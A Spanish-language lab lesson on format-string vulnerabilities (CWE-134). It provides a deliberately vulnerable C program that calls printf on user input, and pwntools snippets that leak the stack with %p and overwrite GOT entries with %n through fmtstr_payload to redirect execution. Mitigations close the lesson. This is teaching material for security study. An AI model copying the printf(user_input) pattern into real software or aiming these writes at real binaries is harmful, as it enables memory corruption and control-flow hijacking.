Parte: 5 — Explotación de sistemas y binarios · Fuente: Erickson, Hacking 2e · CWE-134 ⏱️ Duración estimada: 120 min · Nivel: Avanzado
Entender y explotar las vulnerabilidades de cadena de formato, que aparecen cuando datos del
usuario llegan sin control al primer argumento de printf/fprintf/syslog. Aprenderás a usar %p
para leer la pila (info leak) y %n para escribir memoria arbitraria, dos primitivas potentísimas que
permiten filtrar canarios/direcciones y sobrescribir la GOT.
⚠️ Ética: solo en binarios de laboratorio o retos autorizados.
Al finalizar, el alumno podrá:
printf(user_input)).%p/%x y localizar el offset del argumento controlado.%n/%hn en direcciones elegidas.fmtstr_payload de pwntools.| # | Tema | Por qué importa |
|---|---|---|
| 1 | Cómo funciona printf y sus especificadores | Origen del bug |
| 2 | %p/%x para leer la pila | Primitiva de lectura / info leak |
| 3 | Offset de argumento | Dónde cae tu entrada en la pila |
| 4 | %n para escribir | Primitiva de escritura arbitraria |
| 5 | Escritura con %hn/%hhn | Escrituras parciales controladas |
| 6 | Sobrescritura de la GOT | Convertir escritura en control de flujo |
| 7 | fmtstr_payload | Automatización con pwntools |
| 8 | Mitigaciones (FORTIFY, -Wformat) | Cómo se previene |
printf. Clave: CWE-134;
permite lectura y escritura de memoria.%p/%x: vuelcan argumentos que printf cree recibir, en realidad valores de la pila. Clave:
base del info leak.%N$p) donde aparece tu buffer en la pila. Clave: se localiza
enviando AAAA %p %p %p... y buscando 0x41414141.%n: escribe en la dirección apuntada el número de bytes ya impresos. Clave: convierte formato
en escritura arbitraria.%hn/%hhn: escriben 2 bytes / 1 byte, permitiendo controlar el valor por partes. Clave:
evita imprimir millones de caracteres.fmtstr_payload(offset,
{addr: value}).pip install pwntools
gcc -fno-stack-protector -no-pie -o fmt fmt.c # binario de práctica
Ejemplo vulnerable fmt.c:
#include <stdio.h>
int main(){ char b[128]; fgets(b,128,stdin); printf(b); return 0; }
Entorno propio.
Confirma la vulnerabilidad enviando %p %p %p %p: verás valores de la pila en vez del texto literal.
Localiza el offset de tu buffer:
bash
printf 'AAAABBBB %1$p %2$p %3$p %4$p %5$p %6$p\n' | ./fmt
Cuenta hasta ver 0x42424242... o 0x41414141; ese índice N es tu offset.
python
from pwn import *
elf = context.binary = ELF("./fmt")
p = process("./fmt")
p.sendline(b"%7$s".ljust(8) + p64(elf.got["printf"])) # ajusta offset
%n para sobrescribir la GOT (printf→system) usando pwntools:python
payload = fmtstr_payload(6, {elf.got["exit"]: elf.symbols["win"]})
p.sendline(payload)
(Ajusta el offset 6 al que hallaste en el paso 2.)
Verifica en GDB que la entrada de la GOT cambió (x/gx &printf@got).
Si el binario tiene FORTIFY_SOURCE, observa que %n en formato escribible es rechazado y comenta la
mitigación.
%p.0xdeadbeef en una variable global con %n.puts con la dirección de win.fmtstr_payload.-D_FORTIFY_SOURCE=2 -O2 y explica qué cambia.Entrega un exploit que, mediante una única cadena de formato, sobrescriba una entrada de la GOT para
desviar la ejecución a win().
Criterio de aceptación: al ejecutar el binario con tu entrada, se llama a win() (mensaje visible),
y muestras en GDB la entrada GOT modificada.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
%p imprime el texto literal |
No es vulnerable, o printf recibe formato fijo |
| Offset incorrecto | Recuenta con %N$p; considera alineación del buffer |
%n provoca crash |
La dirección destino no es escribible o FORTIFY lo bloquea |
| Escritura enorme y lenta | Usa %hn/%hhn para escrituras parciales |
| Valor escrito equivocado | El contador de printf no coincide; ajusta el ancho |
❓ ¿Por qué %n es tan peligroso? Porque convierte una función de impresión en una primitiva de
escritura arbitraria de memoria.
❓ ¿Sigue apareciendo este bug? Sí, sobre todo en C legacy y logging; -Wformat-security ayuda a
detectarlo en compilación.
❓ ¿Puedo leer y escribir en el mismo payload? Sí, combinando %s/%p (lectura) con %n
(escritura), aunque suele dividirse en fases.
Clase 124 — Return-Oriented Programming (ROP)